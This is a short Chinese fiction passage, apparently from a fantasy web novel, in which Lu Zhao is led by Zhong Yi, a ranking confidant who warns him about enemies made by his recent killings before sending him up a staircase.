陆昭跟在男人身后,视线落在他腰间随行走抨击的橙色圆玉和竹简。 仅次于巫玿的橙玉。这人是巫玿的心腹。 “才进来第二天,便树敌无数。你可知现在有许多人想杀你?”男人说。 陆昭想到刚刚那一双双忌惮又充满恶意的眼睛,“知道。” “你不怕?” “怕有用吗?” 男人忽然停下脚步,慢慢转头看他,“那你怕坛主吗?” 陆昭没有直接回答,“我的命掐在坛主手里。” “是个惜命的人,很好。”男人眼睛里挟着深意,“我叫钟意。” 陆昭不解:“为什么你把名字告诉我?” 钟意不以为然,“你杀了刘霄,又杀了霍峰,看似了不起,可他们不过是一个黑玉,一个青玉。你如果真觉得能杀我,尽管试试。” 陆昭还没说话,耳边传来余锏的声音。 “你现在动不了他。” 陆昭转移话题,“‘上面’有什么?” “看见你就知道了。”钟意推开最后一扇门,指着蜿蜒而上的台阶,“上去吧。”